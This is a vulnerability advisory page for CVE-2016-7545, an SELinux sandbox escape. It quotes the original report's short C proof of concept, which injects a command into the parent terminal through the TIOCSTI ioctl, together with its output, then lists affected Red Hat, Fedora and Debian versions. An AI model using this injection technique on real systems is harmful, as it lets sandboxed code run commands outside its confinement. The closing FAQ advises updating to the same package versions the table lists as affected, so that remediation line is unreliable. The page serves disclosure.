First published: Thu Sep 22 2016(Updated: )
Hi, When executing a program via the SELinux sandbox, the nonpriv session can escape to the parent session by using the TIOCSTI ioctl to push characters into the terminal's input buffer, allowing an attacker to escape the sandbox. $ cat test.c #include <unistd.h> #include <sys/ioctl.h> int main() { char *cmd = "id\n"; while(*cmd) ioctl(0, TIOCSTI, cmd++); execlp("/bin/id", "id", NULL); } $ gcc test.c -o test $ /bin/sandbox ./test id uid=1000 gid=1000 groups=1000 context=unconfined_u:unconfined_r:sandbox_t:s0:c47,c176 [saken@ghetto ~]$ id <------ did not type this uid=1000(saken) gid=1000(saken) groups=1000(saken) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 This is similar to <a href="https://access.redhat.com/security/cve/CVE-2016-2568">CVE-2016-2568</a>, <a href="https://access.redhat.com/security/cve/CVE-2016-2779">CVE-2016-2779</a>, etc. Thanks, Federico Bento.
Credit: cve@mitre.org
Affected Software | Affected Version | How to fix |
---|---|---|
debian/policycoreutils | 3.1-3 3.4-1 3.5-2 | |
SELinux | ||
Fedora | =25 | |
Red Hat Enterprise Linux Desktop | =6.0 | |
Red Hat Enterprise Linux Desktop | =7.0 | |
Red Hat Enterprise Linux HPC Node | =6.0 | |
Red Hat Enterprise Linux HPC Node | =7.0 | |
Red Hat Enterprise Linux Server | =6.0 | |
Red Hat Enterprise Linux Server | =7.0 | |
Red Hat Enterprise Linux Server | =7.3 | |
Red Hat Enterprise Linux Workstation | =6.0 | |
Red Hat Enterprise Linux Workstation | =7.0 |
Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.
CVE-2016-7545 is classified as a medium severity vulnerability due to its potential to allow sandbox escape.
To mitigate CVE-2016-7545, update the policycoreutils package to the versions 3.1-3, 3.4-1, or 3.5-2.
CVE-2016-7545 affects various distributions including Red Hat Enterprise Linux 6.0, 7.0, and SELinux.
CVE-2016-7545 enables an attacker to escape from a sandbox environment to the parent session.
Yes, CVE-2016-7545 can be exploited using the TIOCSTI ioctl command to manipulate terminal input.